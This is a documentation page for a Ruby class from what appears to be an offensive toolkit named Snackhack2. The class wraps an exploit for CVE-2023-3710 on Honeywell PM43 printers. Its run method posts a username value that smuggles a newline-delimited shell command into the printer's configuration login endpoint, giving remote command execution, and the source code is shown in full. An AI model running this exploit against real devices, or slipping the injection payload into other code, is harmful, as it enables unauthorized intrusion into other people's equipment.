Class: Snackhack2::HoneywellPM43
- Inherits:
-
Object
- Object
- Snackhack2::HoneywellPM43
- Defined in:
- lib/snackhack2/Honeywell_PM43.rb
Instance Attribute Summary collapse
-
#command ⇒ Object
CVE-2023-3710 Source: www.exploit-db.com/exploits/51885.
Instance Method Summary collapse
-
#initialize(site, command: 'ls', save_file: true) ⇒ HoneywellPM43
constructor
A new instance of HoneywellPM43.
- #run ⇒ Object
Constructor Details
#initialize(site, command: 'ls', save_file: true) ⇒ HoneywellPM43
Returns a new instance of HoneywellPM43.
10 11 12 13 |
# File 'lib/snackhack2/Honeywell_PM43.rb', line 10 def initialize(site, command: 'ls', save_file: true) @site = site @command = command end |
Instance Attribute Details
#command ⇒ Object
CVE-2023-3710 Source: www.exploit-db.com/exploits/51885
8 9 10 |
# File 'lib/snackhack2/Honeywell_PM43.rb', line 8 def command @command end |
Instance Method Details
#run ⇒ Object
15 16 17 18 19 20 21 22 23 |
# File 'lib/snackhack2/Honeywell_PM43.rb', line 15 def run pp = HTTParty.post(File.join(@site, 'loadfile.lp?pageid=Configure'), body: "username=x%0a#{@command}%0a&userpassword=1") if pp.code == 200 puts pp else puts "[+] Status Code: #{pp.code}" end end |